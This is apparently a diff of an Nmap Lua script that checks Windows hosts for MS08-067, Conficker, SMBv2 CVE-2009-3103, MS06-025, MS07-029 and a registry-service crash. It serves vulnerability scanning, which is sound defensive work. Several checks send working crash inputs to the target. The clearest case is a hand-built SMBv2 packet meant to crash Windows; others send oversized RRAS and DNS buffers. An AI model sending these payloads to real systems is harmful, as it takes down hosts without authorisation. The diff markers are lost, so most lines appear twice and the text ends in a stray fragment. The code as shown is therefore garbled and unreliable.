local path1 = "\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\n"
local path2 = "\\n"
status, netpathcompare_result = msrpc.srvsvc_netpathcompare(smbstate, host.ip, path1, path2, 1, 0)
-- Stop the SMB session
msrpc.stop_smb(smbstate)
-- Stop the SMB session
msrpc.stop_smb(smbstate)
if(status == false) then
if(string.find(netpathcompare_result, "WERR_INVALID_PARAMETER") ~= nil) then
return true, INFECTED
elseif(string.find(netpathcompare_result, "INVALID_NAME") ~= nil) then
return true, PATCHED
else
return true, UNKNOWN, netpathcompare_result
end
end
if(status == false) then
if(string.find(netpathcompare_result, "WERR_INVALID_PARAMETER") ~= nil) then
return true, INFECTED
elseif(string.find(netpathcompare_result, "INVALID_NAME") ~= nil) then
return true, PATCHED
else
return true, UNKNOWN, netpathcompare_result
end
end
return true, VULNERABLE
return true, VULNERABLE
end
-- Help messages for the more common errors seen by the Conficker check.
CONFICKER_ERROR_HELP = {
["NT_STATUS_BAD_NETWORK_NAME"] =
[[UNKNOWN; Network name not found (required service has crashed). (Error NT_STATUS_BAD_NETWORK_NAME)]],
-- http://seclists.org/nmap-dev/2009/q1/0918.html "non-Windows boxes (Samba on Linux/OS X, or a printer)"
-- http://www.skullsecurity.org/blog/?p=209#comment-156
-- "That means either it isnt a Windows machine, or the service is
-- either crashed or not running. That may indicate a failed (or
-- successful) exploit attempt, or just a locked down system.
-- NT_STATUS_OBJECT_NAME_NOT_FOUND can be returned if the browser
-- service is disabled. There are at least two ways that can happen:
-- 1) The service itself is disabled in the services list.
-- 2) The registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Browser\Parameters\MaintainServerList
-- is set to Off/False/No rather than Auto or yes.
-- On these systems, if you reenable the browser service, then the
-- test will complete."
["NT_STATUS_OBJECT_NAME_NOT_FOUND"] =
[[UNKNOWN; not Windows, or Windows with disabled browser service (CLEAN); or Windows with crashed browser service (possibly INFECTED).
["NT_STATUS_BAD_NETWORK_NAME"] =
[[UNKNOWN; Network name not found (required service has crashed). (Error NT_STATUS_BAD_NETWORK_NAME)]],
-- http://seclists.org/nmap-dev/2009/q1/0918.html "non-Windows boxes (Samba on Linux/OS X, or a printer)"
-- http://www.skullsecurity.org/blog/?p=209#comment-156
-- "That means either it isnt a Windows machine, or the service is
-- either crashed or not running. That may indicate a failed (or
-- successful) exploit attempt, or just a locked down system.
-- NT_STATUS_OBJECT_NAME_NOT_FOUND can be returned if the browser
-- service is disabled. There are at least two ways that can happen:
-- 1) The service itself is disabled in the services list.
-- 2) The registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Browser\Parameters\MaintainServerList
-- is set to Off/False/No rather than Auto or yes.
-- On these systems, if you reenable the browser service, then the
-- test will complete."
["NT_STATUS_OBJECT_NAME_NOT_FOUND"] =
[[UNKNOWN; not Windows, or Windows with disabled browser service (CLEAN); or Windows with crashed browser service (possibly INFECTED).
| If you know the remote system is Windows, try rebooting it and scanning
|_ again. (Error NT_STATUS_OBJECT_NAME_NOT_FOUND)]],
-- http://www.skullsecurity.org/blog/?p=209#comment-100
-- "That likely means that the server has been locked down, so we
-- dont have access to the necessary pipe. Fortunately, that means
-- that neither does Conficker — NT_STATUS_ACCESS_DENIED probably
-- means youre ok."
["NT_STATUS_ACCESS_DENIED"] =
[[Likely CLEAN; access was denied.
-- http://www.skullsecurity.org/blog/?p=209#comment-100
-- "That likely means that the server has been locked down, so we
-- dont have access to the necessary pipe. Fortunately, that means
-- that neither does Conficker — NT_STATUS_ACCESS_DENIED probably
-- means youre ok."
["NT_STATUS_ACCESS_DENIED"] =
[[Likely CLEAN; access was denied.
| If you have a login, try using --script-args=smbuser=xxx,smbpass=yyy
| (replace xxx and yyy with your username and password). Also try
|_ smbdomain=zzz if you know the domain. (Error NT_STATUS_ACCESS_DENIED)]],
-- The cause of these two is still unknown.
-- ["NT_STATUS_NOT_SUPPORTED"] =
-- [[]]
-- http://thatsbroken.com/?cat=5 (doesn't seem common)
-- ["NT_STATUS_REQUEST_NOT_ACCEPTED"] =
-- [[]]
-- The cause of these two is still unknown.
-- ["NT_STATUS_NOT_SUPPORTED"] =
-- [[]]
-- http://thatsbroken.com/?cat=5 (doesn't seem common)
-- ["NT_STATUS_REQUEST_NOT_ACCEPTED"] =
-- [[]]
}
---Check if the server is infected with Conficker. This can be detected by a modified MS08-067 patch,
@@ -245,50 +245,50 @@ CONFICKER_ERROR_HELP = {
--@return (status, result) If status is false, result is an error code; otherwise, result is either
-- <code>INFECTED</code> for infected or <code>CLEAN</code> for not infected.
function check_conficker(host)
local status, smbstate
local bind_result, netpathcompare_result
local status, smbstate
local bind_result, netpathcompare_result
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, "\\\\BROWSER", true)
if(status == false) then
return false, smbstate
end
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, "\\\\BROWSER", true)
if(status == false) then
return false, smbstate
end
-- Bind to SRVSVC service
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
-- Bind to SRVSVC service
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
-- Try checking a valid string to find Conficker.D
local netpathcanonicalize_result, error_result
status, netpathcanonicalize_result, error_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\")
if(status == true and netpathcanonicalize_result['can_path'] == 0x5c45005c) then
msrpc.stop_smb(smbstate)
return true, INFECTED2
end
-- Try checking a valid string to find Conficker.D
local netpathcanonicalize_result, error_result
status, netpathcanonicalize_result, error_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\")
if(status == true and netpathcanonicalize_result['can_path'] == 0x5c45005c) then
msrpc.stop_smb(smbstate)
return true, INFECTED2
end
-- Try checking an illegal string ("\..\") to find Conficker.C and earlier
status, netpathcanonicalize_result, error_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\..\\")
-- Try checking an illegal string ("\..\") to find Conficker.C and earlier
status, netpathcanonicalize_result, error_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\..\\")
if(status == false) then
if(string.find(netpathcanonicalize_result, "INVALID_NAME")) then
msrpc.stop_smb(smbstate)
return true, CLEAN
elseif(string.find(netpathcanonicalize_result, "WERR_INVALID_PARAMETER") ~= nil) then
msrpc.stop_smb(smbstate)
return true, INFECTED
else
msrpc.stop_smb(smbstate)
return false, netpathcanonicalize_result
end
end
if(status == false) then
if(string.find(netpathcanonicalize_result, "INVALID_NAME")) then
msrpc.stop_smb(smbstate)
return true, CLEAN
elseif(string.find(netpathcanonicalize_result, "WERR_INVALID_PARAMETER") ~= nil) then
msrpc.stop_smb(smbstate)
return true, INFECTED
else
msrpc.stop_smb(smbstate)
return false, netpathcanonicalize_result
end
end
-- Stop the SMB session
msrpc.stop_smb(smbstate)
-- Stop the SMB session
msrpc.stop_smb(smbstate)
return true, CLEAN
return true, CLEAN
end
---While writing <code>smb-enum-sessions</code> I discovered a repeatable null-pointer dereference
@@ -303,130 +303,130 @@ end
-- <code>VULNERABLE</code> for vulnerable or <code>PATCHED</code> for not vulnerable. If the check
-- was skipped, <code>NOTRUN</code> is returned.
function check_winreg_Enum_crash(host)
if(nmap.registry.args.safe ~= nil) then
return true, NOTRUN
end
if(nmap.registry.args.unsafe == nil) then
return true, NOTRUN
end
if(nmap.registry.args.safe ~= nil) then
return true, NOTRUN
end
if(nmap.registry.args.unsafe == nil) then
return true, NOTRUN
end
local i, j
local elements = {}
local status, bind_result, smbstate
local i, j
local elements = {}
local status, bind_result, smbstate
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
if(status == false) then
return false, smbstate
end
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
if(status == false) then
return false, smbstate
end
-- Bind to WINREG service
status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
-- Bind to WINREG service
status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
local openhku_result
status, openhku_result = msrpc.winreg_openhku(smbstate)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, openhku_result
end
status, openhku_result = msrpc.winreg_openhku(smbstate)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, openhku_result
end
-- Loop through the keys under HKEY_USERS and grab the names
local enumkey_result
status, enumkey_result = msrpc.winreg_enumkey(smbstate, openhku_result['handle'], 0, nil)
msrpc.stop_smb(smbstate)
-- Loop through the keys under HKEY_USERS and grab the names
local enumkey_result
status, enumkey_result = msrpc.winreg_enumkey(smbstate, openhku_result['handle'], 0, nil)
msrpc.stop_smb(smbstate)
if(status == false) then
return true, VULNERABLE
end
if(status == false) then
return true, VULNERABLE
end
return true, PATCHED
return true, PATCHED
end
local function check_smbv2_dos(host)
local status, result
local status, result
if(nmap.registry.args.safe ~= nil) then
return true, NOTRUN
end
if(nmap.registry.args.unsafe == nil) then
return true, NOTRUN
end
if(nmap.registry.args.safe ~= nil) then
return true, NOTRUN
end
if(nmap.registry.args.unsafe == nil) then
return true, NOTRUN
end
-- From http://seclists.org/fulldisclosure/2009/Sep/0039.html with one change on the last line.
local buf = string.char(0x00, 0x00, 0x00, 0x90) .. -- Begin SMB header: Session message
string.char(0xff, 0x53, 0x4d, 0x42) .. -- Server Component: SMB
string.char(0x72, 0x00, 0x00, 0x00) .. -- Negociate Protocol
string.char(0x00, 0x18, 0x53, 0xc8) .. -- Operation 0x18 & sub 0xc853
string.char(0x00, 0x26) .. -- Process ID High: --> :) normal value should be ", 0x00, 0x00"
string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xfe) ..
string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54) ..
string.char(0x57, 0x4f, 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31) ..
string.char(0x2e, 0x30, 0x00, 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00) ..
string.char(0x02, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x57) ..
string.char(0x6f, 0x72, 0x6b, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x73, 0x20, 0x33, 0x2e, 0x31, 0x61) ..
string.char(0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x4c) ..
string.char(0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4e, 0x54, 0x20, 0x4c) ..
string.char(0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e) ..
string.char(0x30, 0x30, 0x32, 0x00)
-- From http://seclists.org/fulldisclosure/2009/Sep/0039.html with one change on the last line.
local buf = string.char(0x00, 0x00, 0x00, 0x90) .. -- Begin SMB header: Session message
string.char(0xff, 0x53, 0x4d, 0x42) .. -- Server Component: SMB
string.char(0x72, 0x00, 0x00, 0x00) .. -- Negociate Protocol
string.char(0x00, 0x18, 0x53, 0xc8) .. -- Operation 0x18 & sub 0xc853
string.char(0x00, 0x26) .. -- Process ID High: --> :) normal value should be ", 0x00, 0x00"
string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xfe) ..
string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54) ..
string.char(0x57, 0x4f, 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31) ..
string.char(0x2e, 0x30, 0x00, 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00) ..
string.char(0x02, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x57) ..
string.char(0x6f, 0x72, 0x6b, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x73, 0x20, 0x33, 0x2e, 0x31, 0x61) ..
string.char(0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x4c) ..
string.char(0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4e, 0x54, 0x20, 0x4c) ..
string.char(0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e) ..
string.char(0x30, 0x30, 0x32, 0x00)
local socket = nmap.new_socket()
if(socket == nil) then
return false, "Couldn't create socket"
end
local socket = nmap.new_socket()
if(socket == nil) then
return false, "Couldn't create socket"
end
status, result = socket:connect(host, 445)
if(status == false) then
socket:close()
return false, "Couldn't connect to host: " .. result
end
status, result = socket:connect(host, 445)
if(status == false) then
socket:close()
return false, "Couldn't connect to host: " .. result
end
status, result = socket:send(buf)
if(status == false) then
socket:close()
return false, "Couldn't send the buffer: " .. result
end
status, result = socket:send(buf)
if(status == false) then
socket:close()
return false, "Couldn't send the buffer: " .. result
end
-- Close the socket
socket:close()
-- Close the socket
socket:close()
-- Give it some time to crash
stdnse.print_debug(1, "smb-check-vulns: Waiting 5 seconds to see if Windows crashed")
stdnse.sleep(5)
-- Give it some time to crash
stdnse.print_debug(1, "smb-check-vulns: Waiting 5 seconds to see if Windows crashed")
stdnse.sleep(5)
-- Create a new socket
socket = nmap.new_socket()
if(socket == nil) then
return false, "Couldn't create socket"
end
-- Create a new socket
socket = nmap.new_socket()
if(socket == nil) then
return false, "Couldn't create socket"
end
-- Try and do something simple
stdnse.print_debug(1, "smb-check-vulns: Attempting to connect to the host")
socket:set_timeout(5000)
status, result = socket:connect(host, 445)
-- Try and do something simple
stdnse.print_debug(1, "smb-check-vulns: Attempting to connect to the host")
socket:set_timeout(5000)
status, result = socket:connect(host, 445)
-- Check the result
if(status == false or status == nil) then
stdnse.print_debug(1, "smb-check-vulns: Connect failed, host is likely vulnerable!")
socket:close()
return true, VULNERABLE
end
-- Check the result
if(status == false or status == nil) then
stdnse.print_debug(1, "smb-check-vulns: Connect failed, host is likely vulnerable!")
socket:close()
return true, VULNERABLE
end
-- Try sending something
stdnse.print_debug(1, "smb-check-vulns: Attempting to send data to the host")
status, result = socket:send("AAAA")
if(status == false or status == nil) then
stdnse.print_debug(1, "smb-check-vulns: Send failed, host is likely vulnerable!")
socket:close()
return true, VULNERABLE
end
-- Try sending something
stdnse.print_debug(1, "smb-check-vulns: Attempting to send data to the host")
status, result = socket:send("AAAA")
if(status == false or status == nil) then
stdnse.print_debug(1, "smb-check-vulns: Send failed, host is likely vulnerable!")
socket:close()
return true, VULNERABLE
end
stdnse.print_debug(1, "smb-check-vulns: Checks finished; host is likely not vulnerable.")
socket:close()
return true, PATCHED
stdnse.print_debug(1, "smb-check-vulns: Checks finished; host is likely not vulnerable.")
socket:close()
return true, PATCHED
end
@@ -442,56 +442,56 @@ end
-- ** <code>result == PATCHED</code> for not vulnerable.
-- ** <code>result == NOTRUN</code> if check skipped.
function check_ms06_025(host)
--check for safety flag
if(nmap.registry.args.safe ~= nil) then
return true, NOTRUN
end
if(nmap.registry.args.unsafe == nil) then
return true, NOTRUN
end
--create the SMB session
--first we try with the "\router" pipe, then the "\srvsvc" pipe.
local status, smb_result, smbstate, err_msg
status, smb_result = msrpc.start_smb(host, msrpc.ROUTER_PATH)
--check for safety flag
if(nmap.registry.args.safe ~= nil) then
return true, NOTRUN
end
if(nmap.registry.args.unsafe == nil) then
return true, NOTRUN
end
--create the SMB session
--first we try with the "\router" pipe, then the "\srvsvc" pipe.
local status, smb_result, smbstate, err_msg
status, smb_result = msrpc.start_smb(host, msrpc.ROUTER_PATH)
if(status == false) then
err_msg = smb_result
status, smb_result = msrpc.start_smb(host, msrpc.SRVSVC_PATH) --rras is also accessible across SRVSVC pipe
if(status == false) then
err_msg = smb_result
status, smb_result = msrpc.start_smb(host, msrpc.SRVSVC_PATH) --rras is also accessible across SRVSVC pipe
if(status == false) then
return false, NOTUP --if not accessible across both pipes then service is inactive
end
return false, NOTUP --if not accessible across both pipes then service is inactive
end
smbstate = smb_result
--bind to RRAS service
local bind_result
status, bind_result = msrpc.bind(smbstate, msrpc.RASRPC_UUID, msrpc.RASRPC_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, UNKNOWN --if bind operation results with a false status we can't conclude anything.
end
smbstate = smb_result
--bind to RRAS service
local bind_result
status, bind_result = msrpc.bind(smbstate, msrpc.RASRPC_UUID, msrpc.RASRPC_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, UNKNOWN --if bind operation results with a false status we can't conclude anything.
end
if(bind_result['ack_result'] == 0x02) then --0x02 == PROVIDER_REJECTION
msrpc.stop_smb(smbstate)
return false, NOTUP --if bind operation results with true but PROVIDER_REJECTION, then the service is inactive.
end
local req, buff, sr_result
req = msrpc.RRAS_marshall_RequestBuffer(
0x01,
msrpc.RRAS_RegTypes['GETDEVCONFIG'],
msrpc.random_crap(3000))
status, sr_result = msrpc.RRAS_SubmitRequest(smbstate, req)
msrpc.stop_smb(smbstate)
--sanity check
if(status == false) then
stdnse.print_debug(
3,
"check_ms06_025: RRAS_SubmitRequest failed")
if(sr_result == "NT_STATUS_PIPE_BROKEN") then
return true, VULNERABLE
else
return true, PATCHED
end
if(bind_result['ack_result'] == 0x02) then --0x02 == PROVIDER_REJECTION
msrpc.stop_smb(smbstate)
return false, NOTUP --if bind operation results with true but PROVIDER_REJECTION, then the service is inactive.
end
local req, buff, sr_result
req = msrpc.RRAS_marshall_RequestBuffer(
0x01,
msrpc.RRAS_RegTypes['GETDEVCONFIG'],
msrpc.random_crap(3000))
status, sr_result = msrpc.RRAS_SubmitRequest(smbstate, req)
msrpc.stop_smb(smbstate)
--sanity check
if(status == false) then
stdnse.print_debug(
3,
"check_ms06_025: RRAS_SubmitRequest failed")
if(sr_result == "NT_STATUS_PIPE_BROKEN") then
return true, VULNERABLE
else
return true, PATCHED
end
else
return true, PATCHED
end
else
return true, PATCHED
end
end
---Check the existence of ms07_029 vulnerability in Microsoft Dns Server service.
@@ -505,47 +505,47 @@ end
-- ** <code>result == PATCHED</code> for not vulnerable.
-- ** <code>result == NOTRUN</code> if check skipped.
function check_ms07_029(host)
--check for safety flag
if(nmap.registry.args.safe ~= nil) then
return true, NOTRUN
--check for safety flag
if(nmap.registry.args.safe ~= nil) then
return true, NOTRUN
end
if(nmap.registry.args.unsafe == nil) then
return true, NOTRUN
end
--create the SMB session
local status, smbstate
status, smbstate = msrpc.start_smb(host, msrpc.DNSSERVER_PATH)
if(status == false) then
return false, NOTUP --if not accessible across pipe then the service is inactive
end
--bind to DNSSERVER service
local bind_result
status, bind_result = msrpc.bind(smbstate, msrpc.DNSSERVER_UUID, msrpc.DNSSERVER_VERSION)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, UNKNOWN --if bind operation results with a false status we can't conclude anything.
end
--call
local req_blob, q_result
status, q_result = msrpc.DNSSERVER_Query(
smbstate,
"VULNSRV",
string.rep("\\\13", 1000),
1)--any op num will do
--sanity check
msrpc.stop_smb(smbstate)
if(status == false) then
stdnse.print_debug(
3,
"check_ms07_029: DNSSERVER_Query failed")
if(q_result == "NT_STATUS_PIPE_BROKEN") then
return true, VULNERABLE
else
return true, PATCHED
end
if(nmap.registry.args.unsafe == nil) then
return true, NOTRUN
end
--create the SMB session
local status, smbstate
status, smbstate = msrpc.start_smb(host, msrpc.DNSSERVER_PATH)
if(status == false) then
return false, NOTUP --if not accessible across pipe then the service is inactive
end
--bind to DNSSERVER service
local bind_result
status, bind_result = msrpc.bind(smbstate, msrpc.DNSSERVER_UUID, msrpc.DNSSERVER_VERSION)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, UNKNOWN --if bind operation results with a false status we can't conclude anything.
end
--call
local req_blob, q_result
status, q_result = msrpc.DNSSERVER_Query(
smbstate,
"VULNSRV",
string.rep("\\\13", 1000),
1)--any op num will do
--sanity check
msrpc.stop_smb(smbstate)
if(status == false) then
stdnse.print_debug(
3,
"check_ms07_029: DNSSERVER_Query failed")
if(q_result == "NT_STATUS_PIPE_BROKEN") then
return true, VULNERABLE
else
return true, PATCHED
end
else
return true, PATCHED
end
else
return true, PATCHED
end
end
---Returns the appropriate text to display, if any.
@@ -557,129 +557,129 @@ end
--@param minimum_debug [optional] The minimum debug level required before the message is displayed (default: 0).
--@return A string with a textual representation of the error (or empty string, if it was determined that the message shouldn't be displayed).
local function get_response(check, message, description, minimum_verbosity, minimum_debug)
if(minimum_debug == nil) then
minimum_debug = 0
end
if(minimum_debug == nil) then
minimum_debug = 0
end
-- Check if we have appropriate verbosity/debug
if(nmap.verbosity() >= minimum_verbosity and nmap.debugging() >= minimum_debug) then
if(description == nil or description == '') then
return string.format("%s: %s", check, message)
else
return string.format("%s: %s (%s)", check, message, description)
end
else
return nil
end
-- Check if we have appropriate verbosity/debug
if(nmap.verbosity() >= minimum_verbosity and nmap.debugging() >= minimum_debug) then
if(description == nil or description == '') then
return string.format("%s: %s", check, message)
else
return string.format("%s: %s (%s)", check, message, description)
end
else
return nil
end
end
action = function(host)
local status, result, message
local response = {}
local status, result, message
local response = {}
-- Check for ms08-067
status, result, message = check_ms08_067(host)
if(status == false) then
table.insert(response, get_response("MS08-067", "ERROR", result, 0, 1))
else
if(result == VULNERABLE) then
table.insert(response, get_response("MS08-067", "VULNERABLE", nil, 0))
elseif(result == UNKNOWN) then
table.insert(response, get_response("MS08-067", "LIKELY VULNERABLE", "host stopped responding", 1)) -- TODO: this isn't very accurate
elseif(result == NOTRUN) then
table.insert(response, get_response("MS08-067", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
elseif(result == INFECTED) then
table.insert(response, get_response("MS08-067", "NOT VULNERABLE", "likely by Conficker", 0))
else
table.insert(response, get_response("MS08-067", "NOT VULNERABLE", nil, 1))
end
end
-- Check for Conficker
status, result = check_conficker(host)
if(status == false) then
local msg = CONFICKER_ERROR_HELP[result] or "UNKNOWN; got error " .. result
table.insert(response, get_response("Conficker", msg, nil, 1)) -- Only set verbosity for this, since it might be an error or it might be UNKNOWN
else
if(result == CLEAN) then
table.insert(response, get_response("Conficker", "Likely CLEAN", nil, 1))
elseif(result == INFECTED) then
table.insert(response, get_response("Conficker", "Likely INFECTED", "by Conficker.C or lower", 0))
elseif(result == INFECTED2) then
table.insert(response, get_response("Conficker", "Likely INFECTED", "by Conficker.D or higher", 0))
else
table.insert(response, get_response("Conficker", "UNKNOWN", result, 0, 1))
end
end
-- Check for a winreg_Enum crash
status, result = check_winreg_Enum_crash(host)
if(status == false) then
table.insert(response, get_response("regsvc DoS", "ERROR", result, 0, 1))
else
if(result == VULNERABLE) then
table.insert(response, get_response("regsvc DoS", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
table.insert(response, get_response("regsvc DoS", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
else
table.insert(response, get_response("regsvc DoS", "NOT VULNERABLE", nil, 1))
end
end
-- Check for SMBv2 vulnerablity
status, result = check_smbv2_dos(host)
if(status == false) then
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "ERROR", result, 0, 1))
else
if(result == VULNERABLE) then
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
else
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "NOT VULNERABLE", nil, 1))
end
end
-- Check for ms06-025
status, result = check_ms06_025(host)
if(status == false) then
if(result == NOTUP) then
table.insert(response, get_response("MS06-025", "NO SERVICE", "the Ras RPC service is inactive", 1))
else
table.insert(response, get_response("MS06-025", "ERROR", result, 0, 1))
end
-- Check for ms08-067
status, result, message = check_ms08_067(host)
if(status == false) then
table.insert(response, get_response("MS08-067", "ERROR", result, 0, 1))
else
if(result == VULNERABLE) then
table.insert(response, get_response("MS08-067", "VULNERABLE", nil, 0))
elseif(result == UNKNOWN) then
table.insert(response, get_response("MS08-067", "LIKELY VULNERABLE", "host stopped responding", 1)) -- TODO: this isn't very accurate
elseif(result == NOTRUN) then
table.insert(response, get_response("MS08-067", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
elseif(result == INFECTED) then
table.insert(response, get_response("MS08-067", "NOT VULNERABLE", "likely by Conficker", 0))
else
if(result == VULNERABLE) then
table.insert(response, get_response("MS06-025", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
table.insert(response, get_response("MS06-025", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
elseif(result == NOTUP) then
table.insert(response, get_response("MS06-025", "NO SERVICE", "the Ras RPC service is inactive", 1))
else
table.insert(response, get_response("MS06-025", "NOT VULNERABLE", nil, 1))
end
table.insert(response, get_response("MS08-067", "NOT VULNERABLE", nil, 1))
end
end
-- Check for ms07-029
status, result = check_ms07_029(host)
if(status == false) then
if(result == NOTUP) then
table.insert(response, get_response("MS07-029", "NO SERVICE", "the Dns Server RPC service is inactive", 1))
else
table.insert(response, get_response("MS07-029", "ERROR", result, 0, 1))
end
-- Check for Conficker
status, result = check_conficker(host)
if(status == false) then
local msg = CONFICKER_ERROR_HELP[result] or "UNKNOWN; got error " .. result
table.insert(response, get_response("Conficker", msg, nil, 1)) -- Only set verbosity for this, since it might be an error or it might be UNKNOWN
else
if(result == CLEAN) then
table.insert(response, get_response("Conficker", "Likely CLEAN", nil, 1))
elseif(result == INFECTED) then
table.insert(response, get_response("Conficker", "Likely INFECTED", "by Conficker.C or lower", 0))
elseif(result == INFECTED2) then
table.insert(response, get_response("Conficker", "Likely INFECTED", "by Conficker.D or higher", 0))
else
if(result == VULNERABLE) then
table.insert(response, get_response("MS07-029", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
table.insert(response, get_response("MS07-029", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
else
table.insert(response, get_response("MS07-029", "NOT VULNERABLE", nil, 1))
end
table.insert(response, get_response("Conficker", "UNKNOWN", result, 0, 1))
end
end
return stdnse.format_output(true, response)
-- Check for a winreg_Enum crash
status, result = check_winreg_Enum_crash(host)
if(status == false) then
table.insert(response, get_response("regsvc DoS", "ERROR", result, 0, 1))
else
if(result == VULNERABLE) then
table.insert(response, get_response("regsvc DoS", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
table.insert(response, get_response("regsvc DoS", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
else
table.insert(response, get_response("regsvc DoS", "NOT VULNERABLE", nil, 1))
end
end
-- Check for SMBv2 vulnerablity
status, result = check_smbv2_dos(host)
if(status == false) then
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "ERROR", result, 0, 1))
else
if(result == VULNERABLE) then
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
else
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "NOT VULNERABLE", nil, 1))
end
end
-- Check for ms06-025
status, result = check_ms06_025(host)
if(status == false) then
if(result == NOTUP) then
table.insert(response, get_response("MS06-025", "NO SERVICE", "the Ras RPC service is inactive", 1))
else
table.insert(response, get_response("MS06-025", "ERROR", result, 0, 1))
end
else
if(result == VULNERABLE) then
table.insert(response, get_response("MS06-025", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
table.insert(response, get_response("MS06-025", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
elseif(result == NOTUP) then
table.insert(response, get_response("MS06-025", "NO SERVICE", "the Ras RPC service is inactive", 1))
else
table.insert(response, get_response("MS06-025", "NOT VULNERABLE", nil, 1))
end
end
-- Check for ms07-029
status, result = check_ms07_029(host)
if(status == false) then
if(result == NOTUP) then
table.insert(response, get_response("MS07-029", "NO SERVICE", "the Dns Server RPC service is inactive", 1))
else
table.insert(response, get_response("MS07-029", "ERROR", result, 0, 1))
end
else
if(result == VULNERABLE) then
table.insert(response, get_response("MS07-029", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
table.insert(response, get_response("MS07-029", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
else
table.insert(response, get_response("MS07-029", "NOT VULNERABLE", nil, 1))
end
end
return stdnse.format_output(true, response)
end

View File

@@ -87,206 +87,206 @@ dependencies = {"smb-brute"}
function psl_mode (list, i)
local mode
local mode
-- Decide connector for process.
if #list == 1 then
mode = "only"
elseif i == 1 then
mode = "first"
elseif i < #list then
mode = "middle"
else
mode = "last"
